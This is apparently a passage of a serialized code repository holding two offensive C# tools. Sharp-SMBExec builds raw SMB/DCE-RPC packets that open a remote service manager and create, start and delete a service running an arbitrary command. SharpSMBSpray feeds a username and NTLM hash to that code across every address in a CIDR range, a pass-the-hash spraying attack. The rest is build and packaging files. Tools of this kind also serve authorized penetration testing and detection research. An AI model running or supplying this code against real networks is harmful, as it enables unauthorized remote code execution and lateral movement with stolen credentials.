0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_NegotiateFlags\", new byte[] { 0x97, 0x82, 0x08, 0xe2 });\n packet_RPCBind.Add(\"RPCBind_CallingWorkstationDomain\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_CallingWorkstationName\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_OSVersion\", new byte[] { 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f });\n }\n\n if (packet_call_ID == 3)\n {\n packet_RPCBind.Add(\"RPCBind_AuthType\", new byte[] { 0x0a });\n packet_RPCBind.Add(\"RPCBind_AuthLevel\", new byte[] { 0x02 });\n packet_RPCBind.Add(\"RPCBind_AuthPadLength\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_AuthReserved\", new byte[] { 0x00 });\n packet_RPCBind.Add(\"RPCBind_ContextID3\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_Identifier\", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 });\n packet_RPCBind.Add(\"RPCBind_MessageType\", new byte[] { 0x01, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_NegotiateFlags\", new byte[] { 0x97, 0x82, 0x08, 0xe2 });\n packet_RPCBind.Add(\"RPCBind_CallingWorkstationDomain\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_CallingWorkstationName\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n packet_RPCBind.Add(\"RPCBind_OSVersion\", new byte[] { 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f });\n }\n\n return packet_RPCBind;\n }\n public static OrderedDictionary RPCRequest(byte[] packet_flags, int packet_service_length, int packet_auth_length, int packet_auth_padding, byte[] packet_call_ID, byte[] packet_context_ID, byte[] packet_opnum, byte[] packet_data)\n {\n int packet_full_auth_length;\n byte[] packet_write_length;\n byte[] packet_alloc_hint;\n if (packet_auth_length > 0)\n {\n packet_full_auth_length = packet_auth_length + packet_auth_padding + 8;\n }\n else\n {\n packet_full_auth_length = 0;\n }\n\n\n if (packet_data != null)\n {\n packet_write_length = BitConverter.GetBytes(packet_service_length + 24 + packet_full_auth_length + packet_data.Length);\n packet_alloc_hint = BitConverter.GetBytes(packet_service_length + packet_data.Length);\n }\n else\n {\n packet_write_length = BitConverter.GetBytes(packet_service_length + 24 + packet_full_auth_length);\n packet_alloc_hint = BitConverter.GetBytes(packet_service_length);\n\n }\n\n byte[] packet_frag_length = { packet_write_length[0], packet_write_length[1] };\n byte[] packet_auth_length2 = BitConverter.GetBytes(packet_auth_length);\n byte[] packet_auth_length3 = { packet_auth_length2[0], packet_auth_length2[1] };\n\n OrderedDictionary packet_RPCRequest = new OrderedDictionary();\n packet_RPCRequest.Add(\"RPCRequest_Version\", new byte[] { 0x05 });\n packet_RPCRequest.Add(\"RPCRequest_VersionMinor\", new byte[] { 0x00 });\n packet_RPCRequest.Add(\"RPCRequest_PacketType\", new byte[] { 0x00 });\n packet_RPCRequest.Add(\"RPCRequest_PacketFlags\", packet_flags);\n packet_RPCRequest.Add(\"RPCRequest_DataRepresentation\", new byte[] { 0x10, 0x00, 0x00, 0x00 });\n packet_RPCRequest.Add(\"RPCRequest_FragLength\", packet_frag_length);\n packet_RPCRequest.Add(\"RPCRequest_AuthLength\", packet_auth_length3);\n packet_RPCRequest.Add(\"RPCRequest_CallID\", packet_call_ID);\n packet_RPCRequest.Add(\"RPCRequest_AllocHint\", packet_alloc_hint);\n packet_RPCRequest.Add(\"RPCRequest_ContextID\", packet_context_ID);\n packet_RPCRequest.Add(\"RPCRequest_Opnum\", packet_opnum);\n\n if (packet_data != null && packet_data.Length > 0)\n {\n packet_RPCRequest.Add(\"RPCRequest_Data\", packet_data);\n }\n\n return packet_RPCRequest;\n\n }\n\n\n\n //Look into to see if this can be simplified with what we already have.\n public static OrderedDictionary SCMOpenSCManagerW(byte[] packet_service, byte[] packet_service_length)\n {\n byte[] packet_write_length = BitConverter.GetBytes(packet_service.Length + 92);\n byte[] packet_frag_length = { packet_write_length[0], packet_write_length[1] };\n byte[] packet_alloc_hint = BitConverter.GetBytes(packet_service.Length + 68);\n Random r = new Random();\n byte[] packet_referent_init = new byte[2];\n r.NextBytes(packet_referent_init);\n byte[] packet_referent_ID1 = packet_referent_init.Concat(new byte[] { 0x00, 0x00 }).ToArray();\n byte[] packet_referent_init2 = new byte[2];\n r.NextBytes(packet_referent_init2);\n byte[] packet_referent_ID2 = packet_referent_init2.Concat(new byte[] { 0x00, 0x00 }).ToArray();\n\n\n OrderedDictionary packet_SCMOpenSCManagerW = new OrderedDictionary();\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_MachineName_ReferentID\", packet_referent_ID1);\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_MachineName_MaxCount\", packet_service_length);\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_MachineName_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_MachineName_ActualCount\", packet_service_length);\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_MachineName\", packet_service);\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_Database_ReferentID\", packet_referent_ID2);\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_Database_NameMaxCount\", new byte[] { 0x0f, 0x00, 0x00, 0x00 });\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_Database_NameOffset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_Database_NameActualCount\", new byte[] { 0x0f, 0x00, 0x00, 0x00 });\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_Database\", new byte[] { 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x41, 0x00, 0x63, 0x00, 0x74, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x00, 0x00 });\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_Unknown\", new byte[] { 0xbf, 0xbf });\n packet_SCMOpenSCManagerW.Add(\"SCMOpenSCManagerW_AccessMask\", new byte[] { 0x3f, 0x00, 0x00, 0x00 });\n\n return packet_SCMOpenSCManagerW;\n }\n public static OrderedDictionary SCMCreateServiceW(byte[] packet_context_handle, byte[] packet_service, byte[] packet_service_length, byte[] packet_command, byte[] packet_command_length)\n {\n Random r = new Random();\n byte[] packet_referent_init = new byte[2];\n r.NextBytes(packet_referent_init);\n byte[] nulls = { 0x00, 0x00 };\n byte[] packet_referent_ID = new byte[4];\n Buffer.BlockCopy(packet_referent_init, 0, packet_referent_ID, 0, packet_referent_init.Length);\n Buffer.BlockCopy(nulls, 0, packet_referent_ID, packet_referent_init.Length, nulls.Length);\n OrderedDictionary packet_SCMCreateServiceW = new OrderedDictionary();\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ContextHandle\", packet_context_handle);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceName_MaxCount\", packet_service_length);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceName_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceName_ActualCount\", packet_service_length);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceName\", packet_service);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_DisplayName_ReferentID\", packet_referent_ID);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_DisplayName_MaxCount\", packet_service_length);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_DisplayName_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_DisplayName_ActualCount\", packet_service_length);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_DisplayName\", packet_service);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_AccessMask\", new byte[] { 0xff, 0x01, 0x0f, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceType\", new byte[] { 0x10, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceStartType\", new byte[] { 0x03, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_ServiceErrorControl\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_BinaryPathName_MaxCount\", packet_command_length);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_BinaryPathName_Offset\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_BinaryPathName_ActualCount\", packet_command_length);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_BinaryPathName\", packet_command);\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_NULLPointer\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_TagID\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_NULLPointer2\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_DependSize\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_NULLPointer3\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_NULLPointer4\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n packet_SCMCreateServiceW.Add(\"SCMCreateServiceW_PasswordSize\", new byte[] { 0x00, 0x00, 0x00, 0x00 });\n\n return packet_SCMCreateServiceW;\n }\n public static OrderedDictionary SCMStartServiceW(byte[] packet_context_handle)\n {\n OrderedDictionary packet_SCMStartServiceW = new OrderedDictionary();\n packet_SCMStartServiceW.Add(\"SCMStartServiceW_ContextHandle\", packet_context_handle);\n packet_SCMStartServiceW.Add(\"SCMStartServiceW_Unknown\", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 });\n return packet_SCMStartServiceW;\n }\n public static OrderedDictionary SCMDeleteServiceW(byte[] packet_context_handle)\n {\n OrderedDictionary packet_SCMDeleteServiceW = new OrderedDictionary();\n packet_SCMDeleteServiceW.Add(\"SCMDeleteServiceW_ContextHandle\", packet_context_handle);\n\n return packet_SCMDeleteServiceW;\n }\n public static OrderedDictionary SCMCloseServiceHandle(byte[] packet_context_handle)\n {\n OrderedDictionary packet_SCM_CloseServiceW = new OrderedDictionary();\n packet_SCM_CloseServiceW.Add(\"SCMCloseServiceW_ContextHandle\", packet_context_handle);\n\n return packet_SCM_CloseServiceW;\n }\n #endregion\n\n }\n}\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/SharpInvoke-SMBExec.csproj",
"content": "\n\n \n \n Debug\n AnyCPU\n {344EE55A-4E32-46F2-A003-69AD52B55945}\n Library\n Properties\n SharpInvoke_SMBExec\n Sharp-SMBExec\n v4.0\n 512\n true\n \n \n \n AnyCPU\n true\n full\n false\n bin\\Debug\\\n DEBUG;TRACE\n prompt\n 4\n false\n \n \n AnyCPU\n pdbonly\n true\n bin\\Release\\\n TRACE\n prompt\n 4\n false\n \n \n \n \n \n \n ..\\packages\\IPNetwork.1.3.2.0\\lib\\LukeSkywalker.IPNetwork.dll\n \n \n ..\\packages\\PowerArgs.Dev.2.7.1.0\\lib\\net45\\PowerArgs.dll\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/Utilities.cs",
"content": "using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Collections.Specialized;\nusing System.Linq;\n\nnamespace SharpInvoke_SMBExec\n{\n class Utilities\n {\n public static ushort DataLength(int length_start, byte[] string_extract_data)\n {\n byte[] bytes = { string_extract_data[length_start], string_extract_data[length_start + 1] };\n ushort string_length = BitConverter.ToUInt16(GetByteRange(string_extract_data, length_start, length_start + 1), 0);\n return string_length;\n }\n public static byte[] GetByteRange(byte[] array, int start, int end)\n {\n var newArray = array.Skip(start).Take(end - start + 1).ToArray();\n return newArray;\n }\n\n public static byte[] ConvertStringToByteArray(string hex)\n {\n return Enumerable.Range(0, hex.Length)\n .Where(x => x % 2 == 0)\n .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))\n .ToArray();\n }\n\n public static byte[] ConvertFromPacketOrderedDictionary(OrderedDictionary packet_ordered_dictionary)\n {\n List byte_list = new List();\n foreach (DictionaryEntry de in packet_ordered_dictionary)\n {\n byte_list.Add(de.Value as byte[]);\n }\n\n var flattenedList = byte_list.SelectMany(bytes => bytes);\n byte[] byte_Array = flattenedList.ToArray();\n\n return byte_Array;\n }\n }\n}\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/packages.config",
"content": "\n\n \n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec.sln",
"content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 14\nVisualStudioVersion = 14.0.25420.1\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpInvoke-SMBExec\", \"SharpInvoke-SMBExec\\SharpInvoke-SMBExec.csproj\", \"{344EE55A-4E32-46F2-A003-69AD52B55945}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray/FodyWeavers.xml",
"content": "\n \n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray/FodyWeavers.xsd",
"content": "\n\n \n \n \n \n \n \n \n \n \n A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks\n \n \n \n \n A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.\n \n \n \n \n A list of unmanaged 32 bit assembly names to include, delimited with line breaks.\n \n \n \n \n A list of unmanaged 64 bit assembly names to include, delimited with line breaks.\n \n \n \n \n The order of preloaded assemblies, delimited with line breaks.\n \n \n \n \n \n This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.\n \n \n \n \n Controls if .pdbs for reference assemblies are also embedded.\n \n \n \n \n Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.\n \n \n \n \n As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.\n \n \n \n \n Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.\n \n \n \n \n Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.\n \n \n \n \n A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |\n \n \n \n \n A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.\n \n \n \n \n A list of unmanaged 32 bit assembly names to include, delimited with |.\n \n \n \n \n A list of unmanaged 64 bit assembly names to include, delimited with |.\n \n \n \n \n The order of preloaded assemblies, delimited with |.\n \n \n \n \n \n \n \n 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.\n \n \n \n \n A comma-separated list of error codes that can be safely ignored in assembly verification.\n \n \n \n \n 'false' to turn off automatic generation of the XML Schema file.\n \n \n \n \n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray/Program.cs",
"content": "using System;\nusing System.Threading.Tasks;\nusing LukeSkywalker.IPNetwork;\n\nnamespace SharpSMBSpray\n{\n class Program\n {\n public static void Main(string[] args)\n {\n string target = args[0];\n string username = args[1];\n string hash = args[2];\n // Parse CIDR\n IPNetwork ipn = IPNetwork.Parse(target);\n IPAddressCollection ips = IPNetwork.ListIPAddress(ipn);\n // Parallel ForEach to iterate over IP's from CIDR block\n Parallel.ForEach(ips, (ip) =>\n {\n try\n {\n string[] arguments;\n string targetIP = ip.ToString();\n arguments = new string[3] { targetIP, username, hash };\n SharpInvoke_SMBExec.Program.Main(arguments);\n }\n catch (Exception e)\n {\n Console.WriteLine(e);\n }\n }); \n }\n }\n}\n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray/Properties/AssemblyInfo.cs",
"content": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following\n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"SharpSMBSpray\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"SharpSMBSpray\")]\n[assembly: AssemblyCopyright(\"Copyright © 2021\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible\n// to COM components. If you need to access a type in this assembly from\n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"deb273ee-4418-4441-9078-4270aa094cce\")]\n\n// Version information for an assembly consists of the following four values:\n//\n// Major Version\n// Minor Version\n// Build Number\n// Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers\n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray/SharpSMBSpray.csproj",
"content": "\n\n \n \n \n Debug\n AnyCPU\n {DEB273EE-4418-4441-9078-4270AA094CCE}\n Exe\n SharpSMBSpray\n SharpSMBSpray\n v4.0\n 512\n true\n \n \n \n \n AnyCPU\n true\n full\n false\n bin\\Debug\\\n DEBUG;TRACE\n prompt\n 4\n \n \n AnyCPU\n none\n true\n bin\\Release\\\n TRACE\n prompt\n 4\n \n \n \n ..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll\n \n \n ..\\packages\\IPNetwork.1.3.2.0\\lib\\LukeSkywalker.IPNetwork.dll\n \n \n ..\\packages\\NDesk.Options.0.2.1\\lib\\NDesk.Options.dll\n \n \n False\n ..\\..\\Sharp-SMBExec\\Sharp-SMBExec.dll\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.\n \n \n \n \n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray/packages.config",
"content": "\n\n \n \n \n \n"
},
{
"path": "SharpSMBSpray/SharpSMBSpray.sln",
"content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.30114.105\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpSMBSpray\", \"SharpSMBSpray\\SharpSMBSpray.csproj\", \"{DEB273EE-4418-4441-9078-4270AA094CCE}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpInvoke-SMBExec\", \"..\\Sharp-SMBExec\\SharpInvoke-SMBExec\\SharpInvoke-SMBExec.csproj\", \"{344EE55A-4E32-46F2-A003-69AD52B55945}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{DEB273EE-4418-4441-9078-4270AA094CCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{DEB273EE-4418-4441-9078-4270AA094CCE}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{DEB273EE-4418-4441-9078-4270AA094CCE}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{DEB273EE-4418-4441-9078-4270AA094CCE}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{344EE55A-4E32-46F2-A003-69AD52B55945}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {4736C86B-F064-42E2-80DC-5A4FDEEF1AA6}\n\tEndGlobalSection\nEndGlobal\n"
},
{
"path": "SharpSMBSpray/packages/Costura.Fody.4.1.0/build/Costura.Fody.props",
"content": "\n \n \n \n"
},
{
"path": "SharpSMBSpray/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml",
"content": "\n\n \n Costura\n \n \n \n \n Contains methods for interacting with the Costura system.\n \n \n \n \n Call this to Initialize the Costura system.\n \n \n \n\n"
},
{
"path": "SharpSMBSpray/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf",
"content": "\n\n \n \n \n A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks\n \n \n \n \n A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.\n \n \n \n \n A list of unmanaged 32 bit assembly names to include, delimited with line breaks.\n \n \n \n \n A list of unmanaged 64 bit assembly names to include, delimited with line breaks.\n \n \n \n \n The order of preloaded assemblies, delimited with line breaks.\n \n \n \n \n \n This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.\n \n \n \n \n Controls if .pdbs for reference assemblies are also embedded.\n \n \n \n \n Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.\n \n \n \n \n As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.\n \n \n \n \n Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.\n \n \n \n \n Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.\n \n \n \n \n A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |\n \n \n \n \n A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.\n \n \n \n \n A list of unmanaged 32 bit assembly names to include, delimited with |.\n \n \n \n \n A list of unmanaged 64 bit assembly names to include, delimited with |.\n \n \n \n \n The order of preloaded assemblies, delimited with |.\n \n \n"
},
{
"path": "SharpSMBSpray/packages/Fody.6.0.0/build/Fody.targets",
"content": "\n\n \n $(ProjectDir)FodyWeavers.xml\n $(MSBuildThisFileDirectory)..\\\n $(FodyPath)netstandardtask\n $(FodyPath)netclassictask\n $(FodyAssemblyDirectory)\\Fody.dll\n $(DefaultItemExcludes);FodyWeavers.xsd\n true\n 15\n $([System.Version]::Parse($(MSBuildVersion)).Major)\n \n\n \n \n \n \n\n \n \n \n \n \n\n \n \n \n\n \n\n \n '%(FullPath)')\"\n WeaverFiles=\"@(WeaverFiles)\"\n NCrunchOriginalSolutionDirectory=\"$(NCrunchOriginalSolutionDir)\"\n IntermediateCopyLocalFilesCache=\"$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache\"\n GenerateXsd=\"$(FodyGenerateXsd)\"\n >\n\n \n\n \n\n \n \n \n\n \n\n \n\n \n\n \n\n \n\n \n \n \n \n\n \n\n \n\n \n \n\n"
}
]